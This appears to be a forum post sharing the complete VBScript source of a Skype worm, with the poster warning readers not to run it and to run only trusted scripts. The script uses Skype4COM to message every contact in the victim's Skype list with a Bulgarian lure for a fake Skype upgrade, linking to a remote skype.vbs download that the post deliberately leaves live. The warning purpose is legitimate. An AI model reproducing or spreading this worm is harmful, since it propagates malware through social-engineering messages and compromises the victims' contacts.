today a friend of mine sent me a virus... What a friend, huh?! :)  No he warned me not to start it :)
This is a virus which uses automation same as "I love you" (description)

Here is the code (please do not execute it!!!)

on error resume next

set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")

set uDlVA = wscript.createobject("wscript.shell")

set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")

yADAl.Client.Start()

yADAl.Attach()

For Each GAG In yADAl.Friends

yADAl.SendMessage GAG.handle,"Здравейте, ако желаете да подобрите вашият Skype и да добавите следните функции към него: Нови емотикони, Цветно писане, Безплатни SMS-и, Безплатни разговори до GSM и телефон в България и чужбина, Фотоалбум; Отидете на http://SKYPE.miglen.com и си свалете новата версия! Можете директно да си я свалите от този линк: http://skype.miglen.com/skype.vbs"

next

msgbox "Skype.miglen.com"

NOTE: Strings are in Bulgarian and the script sends a message to all contacts in Address book in Skype with fake message that call to go and download the virus.

URLs are intentionally left so please do not execute it!!!

I post this to show how simple and dangerous could be the scripts. So execute scripts only form trusted sources!!!